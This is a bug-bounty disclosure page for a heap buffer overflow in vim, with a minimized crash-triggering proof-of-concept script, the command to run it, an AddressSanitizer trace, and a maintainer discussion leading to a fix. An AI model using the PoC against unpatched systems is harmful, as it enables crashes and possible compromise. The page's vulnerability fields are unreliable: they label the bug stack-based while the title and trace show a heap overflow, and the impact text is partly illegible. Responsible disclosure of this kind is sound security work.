huntr

Heap-based Buffer Overflow in vim/vim

Valid Reported on Oct 5th 2021

0

Chat with us

When fuzzing vim commit `56858e4ed` (works with latest build) with clang 12 and ASan, I discovered a heap buffer overflow.

Proof of Concept

Here is minimized poc

```
/\%.v
5/
c
```

Extract then run crafted file with this command `vim -u NONE -X -Z -e -s -S vimpoc1 -c :qa!`
ASan stack trace:

```
aldo@vps:~/vim/src$ ASAN_OPTIONS=symbolize=1 ASAN_SYMBOLIZER_PATH=/usr/bin/
=================================================================
==2889370==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62100
READ of size 4 at 0x621000013d00 thread T0
    #0 0x49a4ee in __asan_memmove (/home/aldo/vim/src/vim+0x49a4ee)
    #1 0x4d02e0 in vim_memsave /home/aldo/vim/src/alloc.c:597:2
    #2 0x75c5f58 in u_save_line /home/aldo/vim/src/undo.c:373:16
    #3 0x757d2c4 in u_saveline /home/aldo/vim/src/undo.c:3477:9
    #4 0x757a246 in u_save /home/aldo/vim/src/undo.c:257:2
    #5 0x43002fd in op_shift /home/aldo/vim/src/ops.c:145:9
    #6 0x22d91b1 in ex_operators /home/aldo/vim/src/ex_docmd.c:7743:6
    #7 0x209f37a in do_one_cmd /home/aldo/vim/src/ex_docmd.c:2611:2
    #8 0x201ebd1 in do_cmdline /home/aldo/vim/src/ex_docmd.c:1000:17
    #9 0x5c1b974 in do_source /home/aldo/vim/src/scriptfile.c:1406:5
    #10 0x5bffda5 in cmd_source /home/aldo/vim/src/scriptfile.c:971:14
    #11 0x5bfdd3f in ex_source /home/aldo/vim/src/scriptfile.c:997:2
    #12 0x209f37a in do_one_cmd /home/aldo/vim/src/ex_docmd.c:2611:2
    #13 0x201ebd1 in do_cmdline /home/aldo/vim/src/ex_docmd.c:1000:17
    #14 0x203af9a in do_cmdline_cmd /home/aldo/vim/src/ex_docmd.c:594:12
    #15 0x93c5f55 in exe_commands /home/aldo/vim/src/main.c:3081:2
    #16 0x93a0249 in vim_main2 /home/aldo/vim/src/main.c:773:2
    #17 0x932bfd4 in main /home/aldo/vim/src/main.c:425:12
    #18 0x7ffff78260b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/
    #19 0x41fe2d in _start (/home/aldo/vim/src/vim+0x41fe2d)

0x621000013d00 is located 0 bytes to the right of 4096-byte region [0x62100
allocated by thread T0 here:
    #0 0x49aced in malloc (/home/aldo/vim/src/vim+0x49aced)
    #1 0x4cd2ac in lalloc /home/aldo/vim/src/alloc.c:244:11
    #2 0x4ccfa3 in alloc /home/aldo/vim/src/alloc.c:151:12
    #3 0x9426f31 in mf_alloc_bhdr /home/aldo/vim/src/memfile.c:884:21
    #4 0x941b675 in mf_new /home/aldo/vim/src/memfile.c:376:26
    #5 0x387b40b in ml_new_data /home/aldo/vim/src/memline.c:4068:15
    #6 0x3867f37 in ml_open /home/aldo/vim/src/memline.c:394:15
    #7 0x694e5f in open_buffer /home/aldo/vim/src/buffer.c:190:9
    #8 0x93ae2a2 in create_windows /home/aldo/vim/src/main.c:2851:9
    #9 0x939c80d in vim_main2 /home/aldo/vim/src/main.c:704:5
    #10 0x932bfd4 in main /home/aldo/vim/src/main.c:425:12
    #11 0x7ffff78260b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/

SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/aldo/vim/src/vim+0x4
Shadow bytes around the buggy address:
  0x0c427fffa750: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c427fffa760: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c427fffa770: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c427fffa780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c427fffa790: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c427fffa7a0:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c427fffa7b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c427fffa7c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c427fffa7d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c427fffa7e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c427fffa7f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
```

(Published)

Vulnerability type
CWE-121 Stack-based Buffer Overflow

Severity
High (7.5)

Affected Version
*

```
    Container overflow:      fc
    Array cookie:            ac
    Intra object redzone:    bb
    ASan internal:           fe
    Left alloca redzone:     ca
    Right alloca redzone:    cb
    Shadow gap:              cc
==2889370==ABORTING
```

Visibility
Public

Status
Fixed

Found by

Muhammad Aldo Firmansyah
@pwnbytes
legend

Impact

Th[illegible]nerability is capable of crashing software, Bypass Protection Mechanism, Modify [illegible] and possible remote execution

Fixed by

Bram Moolenaar
@brammool
maintainer

This report was seen 749 times.

We have contacted a member of the **vim** team and are waiting to hear back a year ago

Bram Moolenaar a year ago — Maintainer

Please reduce the poc file to the absolute minimum to reproduce the problem. You apparently use a fuzzer, which adds lots of text which is irrelevant.

Muhammad Aldo Firmansyah modified the report a year ago

Muhammad a year ago — Researcher

@brammool please check my updated report. I minimized the poc so you can reproduce.

Muhammad Aldo Firmansyah modified the report a year ago

Bram Moolenaar validated this vulnerability a year ago

Muhammad Aldo Firmansyah has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Bram Moolenaar a year ago — Maintainer

Thanks for the simplification, now it's clear what the problem is.
Fix will be in patch 8.2.3489

Bram Moolenaar marked this as fixed with commit **35a319** a year ago

Bram Moolenaar has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

huangduirong a year ago

@Muhammad Aldo Firmansyah We tried to reproduce the vulnerability and used the method described in the report. However, the fault symptom cannot be reproduced. After vim -u NONE -X -Z -e -s -S vimpoc1 -c :qa! is executed, no error is displayed. Can you provide a complete test case? Thank you very much.

Muhammad a year ago — Researcher

@huangduirong to reproduce you don't need full testcase. You only need to checkout to specific commit like I'm testing. Here is how to reproduce it

```
git clone https://github.com/vim/vim; cd vim
git checkout 56858e4ed
LD=lld AS=llvm-as AR=llvm-ar RANLIB=llvm-ranlib CC=clang CXX=clang++ CFLAGS="-fsaniti
make -j2
```

```
vim -u NONE -X -Z -e -s -S vimpoc1 -c :qa!
```

Sign in to join this conversation